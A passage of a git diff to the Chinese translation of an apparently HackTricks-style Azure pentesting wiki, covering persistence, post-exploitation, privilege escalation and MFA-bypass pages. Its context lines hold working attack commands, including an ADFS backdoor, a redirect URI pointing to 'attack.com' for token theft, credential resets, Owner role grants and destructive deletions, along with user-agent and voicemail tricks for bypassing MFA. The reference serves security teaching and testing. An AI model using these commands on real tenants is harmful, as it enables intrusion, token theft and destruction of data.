服务器上以 **DA 身份运行**以下命令以创建新证书(默认密码 'AADInternals'),将其添加到 ADFS,禁用自动滚动并重启服务: ```powershell New-AADIntADFSSelfSignedCertificates ``` @@ -38,9 +38,9 @@ New-AADIntADFSSelfSignedCertificates ```powershell Update-AADIntADFSFederationSettings -Domain cyberranges.io ``` -### Federation - Trusted Domain +### 联邦 - 受信任的域 -拥有租户的 GA 权限,可以**添加一个新域**(必须经过验证),将其身份验证类型配置为联邦,并将域配置为**信任特定证书**(以下命令中的 any.sts)和颁发者: +拥有租户的 GA 权限,可以 **添加一个新域**(必须经过验证),将其身份验证类型配置为联邦,并将域配置为 **信任特定证书**(以下命令中的 any.sts)和颁发者: ```powershell # Using AADInternals ConvertTo-AADIntBackdoor -DomainName cyberranges.io diff --git a/src/pentesting-cloud/azure-security/az-persistence/az-storage-persistence.md b/src/pentesting-cloud/azure-security/az-persistence/az-storage-persistence.md index a46e26e63..ddf9a06a8 100644 --- a/src/pentesting-cloud/azure-security/az-persistence/az-storage-persistence.md +++ b/src/pentesting-cloud/azure-security/az-persistence/az-storage-persistence.md @@ -13,12 +13,12 @@ ### 常见技巧 - 保留访问密钥 -- 生成SAS -- 用户委托最多7天 +- 生成 SAS +- 用户委托最多 7 天 ### Microsoft.Storage/storageAccounts/blobServices/containers/update && Microsoft.Storage/storageAccounts/blobServices/deletePolicy/write -这些权限允许用户修改容器删除保留功能的blob服务属性,该功能启用或配置已删除容器的保留期。这些权限可用于维持持久性,为攻击者提供恢复或操纵应被永久删除的已删除容器的机会,并访问敏感信息。 +这些权限允许用户修改容器删除保留功能的 blob 服务属性,该功能启用或配置已删除容器的保留期。这些权限可用于维持持久性,为攻击者提供恢复或操纵应被永久删除的已删除容器的机会,并访问敏感信息。 ```bash az storage account blob-service-properties update \ --account-name \ diff --git a/src/pentesting-cloud/azure-security/az-persistence/az-vms-persistence.md b/src/pentesting-cloud/azure-security/az-persistence/az-vms-persistence.md index aa60ad275..9960820d5 100644 --- a/src/pentesting-cloud/azure-security/az-persistence/az-vms-persistence.md +++ b/src/pentesting-cloud/azure-security/az-persistence/az-vms-persistence.md @@ -1,4 +1,4 @@ -# Az - VMs Persistence +# Az - VMs 持久性 {{#include ../../../banners/hacktricks-training.md}} @@ -18,8 +18,8 @@ 攻击者可以访问实例并对其进行后门处理: -- 例如使用传统的 **rootkit** -- 添加新的 **公共 SSH 密钥**(查看 [EC2 privesc 选项](https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc)) +- 使用传统的 **rootkit** 例如 +- 添加新的 **公共 SSH 密钥** (查看 [EC2 privesc options](https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc)) - 对 **用户数据** 进行后门处理 {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-function-apps-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-function-apps-post-exploitation.md index e80d52eb8..7971d84ce 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-function-apps-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-function-apps-post-exploitation.md @@ -10,7 +10,7 @@ ../az-services/az-function-apps.md {{#endref}} -> [!CAUTION] > **函数应用的后期利用技巧与权限提升技巧密切相关**,因此您可以在这里找到所有相关内容: +> [!CAUTION] > **函数应用的后期利用技巧与特权升级技巧密切相关**,因此您可以在那找到所有这些技巧: {{#ref}} ../az-privilege-escalation/az-functions-app-privesc.md diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md index e38ec6a14..cc43305b8 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md @@ -1,4 +1,4 @@ -# Az - Key Vault Post Exploitation +# Az - Key Vault 后期利用 {{#include ../../../banners/hacktricks-training.md}} @@ -12,7 +12,7 @@ ### Microsoft.KeyVault/vaults/secrets/getSecret/action -此权限将允许主体读取机密的值: +此权限将允许主体读取秘密的值: ```bash az keyvault secret show --vault-name --name @@ -58,7 +58,7 @@ az keyvault secret purge --vault-name --name ``` ### **Microsoft.KeyVault/vaults/secrets/setSecret/action** -此权限允许主体在保管库中创建或更新一个秘密。 +此权限允许主体在保管库中创建或更新秘密。 ```bash az keyvault secret set --vault-name --name --value ``` @@ -82,7 +82,7 @@ az keyvault secret delete --vault-name --name ``` ### Microsoft.KeyVault/vaults/secrets/restore/action -此权限允许主体从备份中恢复一个秘密。 +此权限允许主体从备份中恢复秘密。 ```bash az keyvault secret restore --vault-name --file ``` diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-queue-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-queue-post-exploitation.md index 825934be9..a53a4022a 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-queue-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-queue-post-exploitation.md @@ -1,8 +1,8 @@ -# Az - 队列存储后期利用 +# Az - Queue Storage Post Exploitation {{#include ../../../banners/hacktricks-training.md}} -## 队列 +## Queue 有关更多信息,请查看: @@ -12,15 +12,15 @@ ### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/read` -拥有此权限的攻击者可以从 Azure 存储队列中查看消息。这使攻击者能够查看消息的内容,而不将其标记为已处理或更改其状态。这可能导致对敏感信息的未经授权访问,从而使数据外泄或收集进一步攻击的情报。 +具有此权限的攻击者可以从 Azure Storage Queue 中查看消息。这使攻击者能够查看消息的内容,而不将其标记为已处理或更改其状态。这可能导致对敏感信息的未经授权访问,从而使数据外泄或收集进一步攻击的情报。 ```bash az storage message peek --queue-name --account-name ``` -**潜在影响**:未经授权访问队列、消息暴露或未经授权用户或服务对队列的操控。 +**潜在影响**:未授权访问队列、消息暴露或未授权用户或服务对队列的操控。 ### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/process/action` -拥有此权限,攻击者可以从 Azure 存储队列中检索和处理消息。这意味着他们可以读取消息内容并将其标记为已处理,从而有效地将其隐藏于合法系统。这可能导致敏感数据被暴露、消息处理方式的中断,甚至通过使消息对其预期用户不可用而停止重要工作流程。 +拥有此权限的攻击者可以从 Azure Storage Queue 中检索和处理消息。这意味着他们可以读取消息内容并将其标记为已处理,从而有效地将其隐藏于合法系统。这可能导致敏感数据被暴露、消息处理方式的中断,甚至通过使消息对其预期用户不可用而停止重要工作流程。 ```bash az storage message get --queue-name --account-name ``` @@ -46,7 +46,7 @@ az storage message update --queue-name \ ``` ### Actions: `Microsoft.Storage/storageAccounts/queueServices/queues/delete` -此权限允许攻击者删除存储帐户中的队列。通过利用此能力,攻击者可以永久删除队列及其所有相关消息,从而对工作流程造成重大干扰,并导致依赖受影响队列的应用程序的关键数据丢失。此操作还可以通过删除系统的关键组件来破坏服务。 +此权限允许攻击者删除存储帐户中的队列。通过利用此能力,攻击者可以永久删除队列及其所有相关消息,从而对工作流程造成重大干扰,并导致依赖受影响队列的应用程序的关键数据丢失。此操作还可以通过删除系统的基本组件来破坏服务。 ```bash az storage queue delete --name --account-name ``` diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-servicebus-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-servicebus-post-exploitation.md index 21179efc7..958e96524 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-servicebus-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-servicebus-post-exploitation.md @@ -12,13 +12,13 @@ ### Actions: `Microsoft.ServiceBus/namespaces/Delete` -拥有此权限的攻击者可以删除整个 Azure Service Bus 命名空间。此操作会删除命名空间及所有相关资源,包括队列、主题、订阅及其消息,导致所有依赖系统和工作流的广泛中断和永久数据丢失。 +具有此权限的攻击者可以删除整个 Azure Service Bus 命名空间。此操作会删除命名空间及所有相关资源,包括队列、主题、订阅及其消息,导致所有依赖系统和工作流的广泛中断和永久数据丢失。 ```bash az servicebus namespace delete --resource-group --name ``` ### Actions: `Microsoft.ServiceBus/namespaces/topics/Delete` -具有此权限的攻击者可以删除 Azure Service Bus 主题。此操作将删除该主题及其所有相关的订阅和消息,可能导致关键数据丢失,并干扰依赖该主题的系统和工作流程。 +拥有此权限的攻击者可以删除 Azure Service Bus 主题。此操作会删除主题及其所有相关的订阅和消息,可能导致关键数据丢失,并干扰依赖该主题的系统和工作流程。 ```bash az servicebus topic delete --resource-group --namespace-name --name ``` @@ -30,7 +30,7 @@ az servicebus queue delete --resource-group --namespace-name ``` ### Actions: `Microsoft.ServiceBus/namespaces/topics/subscriptions/Delete` -拥有此权限的攻击者可以删除 Azure Service Bus 订阅。此操作将删除订阅及其所有相关消息,可能会干扰依赖于该订阅的工作流程、数据处理和系统操作。 +拥有此权限的攻击者可以删除 Azure Service Bus 订阅。此操作会删除订阅及其所有相关消息,可能会干扰依赖于该订阅的工作流程、数据处理和系统操作。 ```bash az servicebus topic subscription delete --resource-group --namespace-name --topic-name --name ``` @@ -50,14 +50,14 @@ az servicebus queue update --resource-group --namespace-name ``` ### Actions: `Microsoft.ServiceBus/namespaces/topics/write` (`Microsoft.ServiceBus/namespaces/topics/read`) -拥有在 Azure Service Bus 命名空间中创建或修改主题权限的攻击者可以利用这一点来干扰消息工作流、暴露敏感数据或启用未经授权的操作。使用诸如 az servicebus topic update 的命令,他们可以操纵配置,例如启用分区以滥用可扩展性、修改 TTL 设置以不当保留或丢弃消息,或禁用重复检测以绕过控制。此外,他们还可以调整主题大小限制、改变状态以干扰可用性,或配置快速主题以暂时存储拦截的消息,使主题管理成为后期利用缓解的关键重点。 +拥有在 Azure Service Bus 命名空间中创建或修改主题权限的攻击者可以利用这一点来干扰消息工作流、暴露敏感数据或启用未经授权的操作。使用诸如 az servicebus topic update 的命令,他们可以操纵配置,例如启用分区以滥用可扩展性、修改 TTL 设置以不当保留或丢弃消息,或禁用重复检测以绕过控制。此外,他们还可以调整主题大小限制、改变状态以干扰可用性,或配置快速主题以暂时存储拦截的消息,使主题管理成为后期利用缓解的关键焦点。 ```bash az servicebus topic create --resource-group --namespace-name --name az servicebus topic update --resource-group --namespace-name --name ``` ### Actions: `Microsoft.ServiceBus/namespaces/topics/subscriptions/write` (`Microsoft.ServiceBus/namespaces/topics/subscriptions/read`) -拥有创建或修改订阅权限的攻击者(要修改订阅,您还需要操作:`Microsoft.ServiceBus/namespaces/topics/subscriptions/read`)可以利用这一点在 Azure Service Bus 主题中拦截、重定向或干扰消息工作流。使用诸如 az servicebus topic subscription update 的命令,他们可以操控配置,例如启用死信以转移消息,将消息转发到未经授权的端点,或修改 TTL 和锁定持续时间以保留或干扰消息传递。此外,他们可以更改状态或最大交付计数设置,以干扰操作或逃避检测,使订阅控制成为后期利用场景中的关键方面。 +拥有创建或修改订阅权限的攻击者(要修改订阅,您还需要 Action: `Microsoft.ServiceBus/namespaces/topics/subscriptions/read`)可以利用 Azure Service Bus 主题中的这一点来拦截、重定向或干扰消息工作流。使用诸如 az servicebus topic subscription update 的命令,他们可以操纵配置,例如启用死信以转移消息,将消息转发到未经授权的端点,或修改 TTL 和锁定持续时间以保留或干扰消息传递。此外,他们可以更改状态或最大交付计数设置,以干扰操作或逃避检测,使订阅控制成为后期利用场景中的关键方面。 ```bash az servicebus topic subscription create --resource-group --namespace-name --topic-name --name az servicebus topic subscription update --resource-group --namespace-name --topic-name --name diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md index 562e314fb..c02e47c10 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md @@ -1,8 +1,8 @@ -# Az - SQL 数据库后期利用 +# Az - SQL Database Post Exploitation {{#include ../../../banners/hacktricks-training.md}} -## SQL 数据库后期利用 +## SQL Database Post Exploitation 有关 SQL 数据库的更多信息,请查看: @@ -12,7 +12,7 @@ ### "Microsoft.Sql/servers/databases/read", "Microsoft.Sql/servers/read" && "Microsoft.Sql/servers/databases/write" -拥有这些权限后,攻击者可以在被攻陷的环境中创建和更新数据库。这种后期利用活动可能允许攻击者添加恶意数据、修改数据库配置或插入后门以实现进一步的持久性,可能会干扰操作或启用其他恶意行为。 +拥有这些权限后,攻击者可以在被攻陷的环境中创建和更新数据库。这种后期利用活动可能允许攻击者添加恶意数据、修改数据库配置或插入后门以进一步保持持久性,可能会干扰操作或启用其他恶意行为。 ```bash # Create Database az sql db create --resource-group --server --name @@ -53,7 +53,7 @@ az sql server audit-policy update \ ``` ### "Microsoft.Sql/locations/connectionPoliciesAzureAsyncOperation/read", "Microsoft.Sql/servers/connectionPolicies/read" && "Microsoft.Sql/servers/connectionPolicies/write" -拥有此权限,您可以修改 Azure SQL Server 的连接策略。此功能可被利用来启用或更改服务器级连接设置。 +通过此权限,您可以修改 Azure SQL Server 的连接策略。此功能可以被利用来启用或更改服务器级连接设置。 ```bash az sql server connection-policy update \ --server \ diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-table-storage-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-table-storage-post-exploitation.md index 7c857e291..0a9a0b90a 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-table-storage-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-table-storage-post-exploitation.md @@ -26,7 +26,7 @@ az storage entity query \ ``` ### Microsoft.Storage/storageAccounts/tableServices/tables/entities/write | Microsoft.Storage/storageAccounts/tableServices/tables/entities/add/action | Microsoft.Storage/storageAccounts/tableServices/tables/entities/update/action -具有此权限的主体将能够**在表中写入和覆盖条目**,这可能使他造成一些损害甚至提升权限(例如,覆盖一些可信数据,可能会利用使用它的应用程序中的某些注入漏洞)。 +具有此权限的主体将能够**在表中写入和覆盖条目**,这可能使他造成一些损害甚至提升权限(例如,覆盖一些可信数据,可能会利用应用程序中的某些注入漏洞)。 - 权限`Microsoft.Storage/storageAccounts/tableServices/tables/entities/write`允许所有操作。 - 权限`Microsoft.Storage/storageAccounts/tableServices/tables/entities/add/action`允许**添加**条目。 @@ -55,6 +55,6 @@ az storage entity merge \ ``` ### \*/delete -这将允许删除共享文件系统中的文件,这可能会**中断某些服务**或使客户端**丢失有价值的信息**。 +这将允许删除共享文件系统中的文件,这可能会**中断某些服务**或使客户端**丢失重要信息**。 {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md index 691b98b82..d5337ed9a 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md @@ -52,7 +52,7 @@ az vm create \ ``` ### 恢复点中的敏感信息 -可能会在**恢复点中找到敏感信息**。 +可能会在 **恢复点中找到敏感信息**。 1. **列出恢复点** ```bash @@ -96,23 +96,23 @@ sudo mount /dev/sdX1 /mnt/mydisk #### **1. 打开磁盘管理** -1. 右键单击 **开始**,选择 **磁盘管理**。 +1. 右键点击 **开始**,选择 **磁盘管理**。 2. 附加的磁盘应显示为 **离线** 或 **未分配**。 #### **2. 将磁盘上线** 1. 在底部窗格中找到磁盘。 -2. 右键单击磁盘(例如,**磁盘 1**)并选择 **在线**。 +2. 右键点击磁盘(例如,**磁盘 1**)并选择 **在线**。 #### **3. 初始化磁盘** -1. 如果磁盘未初始化,右键单击并选择 **初始化磁盘**。 +1. 如果磁盘未初始化,右键点击并选择 **初始化磁盘**。 2. 选择分区样式: - **MBR**(主引导记录)或 **GPT**(GUID 分区表)。建议现代系统使用 GPT。 #### **4. 创建新卷** -1. 右键单击磁盘上的未分配空间,选择 **新建简单卷**。 +1. 右键点击磁盘上的未分配空间,选择 **新建简单卷**。 2. 按照向导操作: - 分配驱动器字母(例如,`D:`)。 - 格式化磁盘(大多数情况下选择 NTFS)。 @@ -137,7 +137,7 @@ az disk create \ --source \ --size-gb ``` -3. **将磁盘附加并挂载**到虚拟机并搜索敏感信息(查看上一节以了解如何执行此操作) +3. **将磁盘附加并挂载**到虚拟机并搜索敏感信息(查看上一节了解如何操作) ### 虚拟机扩展和虚拟机应用中的敏感信息 diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md index 8386f0d38..391fbb6dc 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md @@ -4,7 +4,7 @@ ## App Services -有关 Azure 应用服务的更多信息,请查看: +有关 Azure App 服务的更多信息,请查看: {{#ref}} ../az-services/az-app-service.md @@ -19,7 +19,7 @@ # Direct option az webapp ssh --name --resource-group ``` -- 创建隧道然后连接到SSH: +- 创建隧道,然后连接到 SSH: ```bash az webapp create-remote-connection --name --resource-group diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md index 3c5d6ad2a..fe5a883cd 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md @@ -1,4 +1,4 @@ -# Az - Azure IAM Privesc (Authorization) +# Az - Azure IAM Privesc (授权) {{#include ../../../banners/hacktricks-training.md}} @@ -40,7 +40,7 @@ az role definition update --role-definition role.json ``` ### Microsoft.Authorization/elevateAccess/action -此权限允许提升特权,并能够将权限分配给任何主体以访问 Azure 资源。它旨在授予 Entra ID 全局管理员,以便他们也可以管理 Azure 资源的权限。 +此权限允许提升特权并能够将权限分配给任何主体以访问 Azure 资源。它旨在授予 Entra ID 全局管理员,以便他们也可以管理 Azure 资源的权限。 > [!TIP] > 我认为用户需要是 Entra ID 的全局管理员,以便提升调用能够正常工作。 @@ -53,9 +53,9 @@ az role assignment create --assignee "" --role "Owner" --scope "/" ``` ### Microsoft.ManagedIdentity/userAssignedIdentities/federatedIdentityCredentials/write -此权限允许将联邦凭据添加到托管身份。例如,允许在存储库中将Github Actions的访问权限授予托管身份。然后,它允许**访问任何用户定义的托管身份**。 +此权限允许将联邦凭据添加到托管身份。例如,允许在存储库中将访问权限授予托管身份的Github Actions。然后,它允许**访问任何用户定义的托管身份**。 -示例命令,将存储库的访问权限授予托管身份: +示例命令将访问权限授予托管身份在Github中的存储库: ```bash # Generic example: az rest --method PUT \ diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md index fbf431840..f51c519f1 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md @@ -77,16 +77,16 @@ az ad app owner list --id ``` ### `microsoft.directory/applications/allProperties/update` -攻击者可以向租户用户正在使用的应用程序添加重定向 URI,然后与他们共享使用新重定向 URL 的登录 URL,以窃取他们的令牌。请注意,如果用户已经登录了该应用程序,则身份验证将自动进行,无需用户接受任何内容。 +攻击者可以向租户用户正在使用的应用程序添加重定向 URI,然后与他们共享使用新重定向 URL 的登录 URL,以窃取他们的令牌。请注意,如果用户已经登录了该应用程序,则身份验证将是自动的,无需用户接受任何内容。 -请注意,还可以更改应用程序请求的权限,以获得更多权限,但在这种情况下,用户需要再次接受请求所有权限的提示。 +请注意,还可以更改应用程序请求的权限,以获取更多权限,但在这种情况下,用户需要再次接受请求所有权限的提示。 ```bash # Get current redirect uris az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris" # Add a new redirect URI (make sure to keep the configured ones) az ad app update --id --web-redirect-uris "https://original.com/callback https://attack.com/callback" ``` -## Service Principals +## 服务主体 ### `microsoft.directory/servicePrincipals/credentials/update` @@ -98,7 +98,7 @@ az ad sp credential reset --id --append > 新生成的密码不会出现在网络控制台中,因此这可能是一种隐秘的方式来保持对服务主体的持久性。\ > 从API中可以通过以下命令找到它们: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json` -如果您收到错误消息 `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."`,这意味着**无法修改SP的passwordCredentials属性**,您需要先解锁它。为此,您需要一个权限(`microsoft.directory/applications/allProperties/update`),允许您执行: +如果您收到错误 `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."`,这意味着 **无法修改SP的passwordCredentials属性**,您需要先解锁它。为此,您需要一个权限 (`microsoft.directory/applications/allProperties/update`),允许您执行: ```bash az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/ --body '{"servicePrincipalLockConfiguration": null}' ``` @@ -128,7 +128,7 @@ az ad sp credential reset --id --append az ad sp owner list --id ``` > [!CAUTION] -> 添加新所有者后,我尝试将其删除,但API响应说不支持DELETE方法,即使这是删除所有者所需使用的方法。因此,**现在无法删除所有者**。 +> 添加新所有者后,我尝试删除它,但API响应说不支持DELETE方法,即使这是删除所有者所需使用的方法。因此,**现在无法删除所有者**。 ### `microsoft.directory/servicePrincipals/disable` 和 `enable` @@ -170,11 +170,11 @@ az rest --method POST \ ### `microsoft.directory/groups/allProperties/update` -此权限允许将用户添加到特权组,从而导致特权升级。 +此权限允许将用户添加到特权组,从而导致权限提升。 ```bash az ad group member add --group --member-id ``` -**注意**: 此权限不包括 Entra ID 角色可分配组。 +**注意**:此权限不包括 Entra ID 角色可分配组。 ### `microsoft.directory/groups/owners/update` @@ -187,7 +187,7 @@ az ad group member add --group --member-id ### `microsoft.directory/groups/members/update` -此权限允许向组中添加成员。攻击者可以将自己或恶意账户添加到特权组中,从而获得提升的访问权限。 +此权限允许向组中添加成员。攻击者可以将自己或恶意账户添加到特权组中,从而授予提升的访问权限。 ```bash az ad group member add --group --member-id ``` @@ -204,7 +204,7 @@ az rest --method PATCH \ "membershipRuleProcessingState": "On" }' ``` -**注意**: 此权限不包括 Entra ID 角色可分配组。 +**注意**:此权限不包括 Entra ID 角色可分配组。 ### 动态组权限提升 @@ -218,7 +218,7 @@ dynamic-groups.md ### `microsoft.directory/users/password/update` -此权限允许重置非管理员用户的密码,从而允许潜在攻击者提升到其他用户的权限。此权限不能分配给自定义角色。 +此权限允许重置非管理员用户的密码,从而使潜在攻击者能够提升对其他用户的权限。此权限不能分配给自定义角色。 ```bash az ad user update --id --password "kweoifuh.234" ``` @@ -240,7 +240,7 @@ az rest --method PATCH \ --headers "Content-Type=application/json" \ --body "{\"department\": \"security\"}" ``` -## 条件访问策略和 MFA 绕过 +## 条件访问策略与 MFA 绕过 配置错误的条件访问策略要求 MFA 可能会被绕过,请检查: diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md index 38ebaa6af..ab139e68c 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md @@ -4,12 +4,12 @@ ## 基本信息 -Azure 条件访问策略是在 Microsoft Azure 中设置的规则,用于根据某些 **条件** 强制执行对 Azure 服务和应用程序的访问控制。这些策略帮助组织在适当的情况下应用正确的访问控制,从而保护其资源。\ +Azure 条件访问策略是在 Microsoft Azure 中设置的规则,用于根据某些 **条件** 强制执行对 Azure 服务和应用程序的访问控制。这些策略通过在适当的情况下应用正确的访问控制,帮助组织保护其资源。\ 条件访问策略基本上 **定义** **谁** 可以从 **哪里** 和 **如何** 访问 **什么**。 以下是几个示例: -1. **登录风险策略**:当检测到登录风险时,可以设置此策略要求多因素身份验证 (MFA)。例如,如果用户的登录行为与其常规模式相比异常,例如从不同国家登录,系统可以提示进行额外的身份验证。 +1. **登录风险策略**:当检测到登录风险时,可以设置此策略要求多因素身份验证 (MFA)。例如,如果用户的登录行为与其常规模式不符,例如从不同国家登录,系统可以提示进行额外身份验证。 2. **设备合规性策略**:此策略可以限制对 Azure 服务的访问,仅限于符合组织安全标准的设备。例如,只有在设备上安装了最新的防病毒软件或运行特定操作系统版本的情况下,才允许访问。 ## 条件访问策略绕过 @@ -23,11 +23,11 @@ Azure 条件访问策略是在 Microsoft Azure 中设置的规则,用于根据 - **网络**:IP、IP 范围和地理位置 - 可以使用 VPN 或代理连接到一个国家,或设法从允许的 IP 地址登录来绕过 - **Microsoft 风险**:用户风险、登录风险、内部人风险 -- **设备平台**:任何设备或选择 Android、iOS、Windows 手机、Windows、macOS、Linux +- **设备平台**:任何设备或选择 Android、iOS、Windows Phone、Windows、macOS、Linux - 如果未选择“任何设备”,但选择了所有其他选项,则可以使用与这些平台无关的随机用户代理绕过 - **客户端应用**:选项为“浏览器”、“移动应用和桌面客户端”、“Exchange ActiveSync 客户端”和“其他客户端” - 通过未选择的选项绕过登录 -- **设备过滤器**:可以生成与使用的设备相关的规则 +- **设备过滤器**:可以生成与所用设备相关的规则 - **身份验证流程**:选项为“设备代码流程”和“身份验证转移” - 这不会影响攻击者,除非他试图在钓鱼尝试中滥用任何这些协议以访问受害者的帐户 @@ -39,12 +39,12 @@ Azure 条件访问策略是在 Microsoft Azure 中设置的规则,用于根据
-只需让浏览器 **发送一个未知的用户代理**(如 `Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile`)就足以不触发此条件。\ +只需让浏览器 **发送一个未知的用户代理**(如 `Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile`)即可不触发此条件。\ 您可以在开发者工具中 **手动** 更改用户代理:
- 或使用 [这样的浏览器扩展](https://chromewebstore.google.com/detail/user-agent-switcher-and-m/bhchdcejhohfmigjafbampogmaanbfkg?hl=en)。 + 或者使用 [这样的浏览器扩展](https://chromewebstore.google.com/detail/user-agent-switcher-and-m/bhchdcejhohfmigjafbampogmaanbfkg?hl=en)。 ### 位置:国家、IP 范围 - 设备条件 @@ -56,8 +56,8 @@ Azure 条件访问策略是在 Microsoft Azure 中设置的规则,用于根据
-要尝试绕过此保护,您应该查看是否可以 **仅登录任何应用程序**。\ -工具 [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) 有 **数十个硬编码的应用程序 ID**,并将尝试登录这些应用程序,并在成功时通知您,甚至提供令牌。 +要尝试绕过此保护,您应该查看是否可以 **仅登录到任何应用程序**。\ +工具 [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) 有 **数十个硬编码的应用程序 ID**,并将尝试登录到它们,并在成功时通知您,甚至提供令牌。 为了 **测试特定资源中的特定应用程序 ID**,您还可以使用以下工具: ```bash @@ -69,7 +69,7 @@ roadrecon auth -u user@email.com -r https://outlook.office.com/ -c 1fec8e78-bce4 工具 [**donkeytoken**](az-conditional-access-policies-mfa-bypass.md#donkeytoken) 也可以用于类似的目的,尽管它看起来没有维护。 -工具 [**ROPCI**](https://github.com/wunderwuzzi23/ropci) 也可以用来测试这些保护措施,看看是否可以绕过 MFA 或阻止,但该工具是从 **白盒** 角度工作的。您首先需要下载租户中允许的应用程序列表,然后它将尝试登录这些应用程序。 +工具 [**ROPCI**](https://github.com/wunderwuzzi23/ropci) 也可以用于测试这些保护措施,看看是否可以绕过 MFA 或阻止,但该工具是从 **白盒** 角度工作的。您首先需要下载租户中允许的应用程序列表,然后它将尝试登录这些应用程序。 ## 其他 Az MFA 绕过 @@ -78,7 +78,7 @@ roadrecon auth -u user@email.com -r https://outlook.office.com/ -c 1fec8e78-bce4 一个 Azure MFA 选项是 **接收在配置的电话号码上的电话**,用户将被要求 **发送字符 `#`**。 > [!CAUTION] -> 由于字符只是 **音调**,攻击者可以 **破坏** 电话号码的 **语音邮件** 消息,将 **`#` 的音调** 配置为消息,然后在请求 MFA 时确保 **受害者的电话正在忙**(拨打它),这样 Azure 的电话就会被重定向到语音邮件。 +> 由于字符只是 **音调**,攻击者可以 **破坏** 电话号码的 **语音邮件** 消息,将 **`#` 的音调** 配置为消息,然后在请求 MFA 时确保 **受害者的电话忙**(拨打它),这样 Azure 的电话就会被重定向到语音邮件。 ### 合规设备 @@ -94,7 +94,7 @@ Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken ``` -在以下页面中找到有关此类攻击的更多信息: +在以下页面中查找有关此类攻击的更多信息: {{#ref}} ../../az-lateral-movement-cloud-on-prem/pass-the-prt.md @@ -116,7 +116,7 @@ roadrecon plugin policies ``` ### [Invoke-MFASweep](https://github.com/dafthack/MFASweep) -MFASweep 是一个 PowerShell 脚本,尝试使用提供的凭据 **登录到各种 Microsoft 服务,并尝试识别 MFA 是否启用**。根据条件访问策略和其他多因素身份验证设置的配置,一些协议可能最终会保持单因素。它还对 ADFS 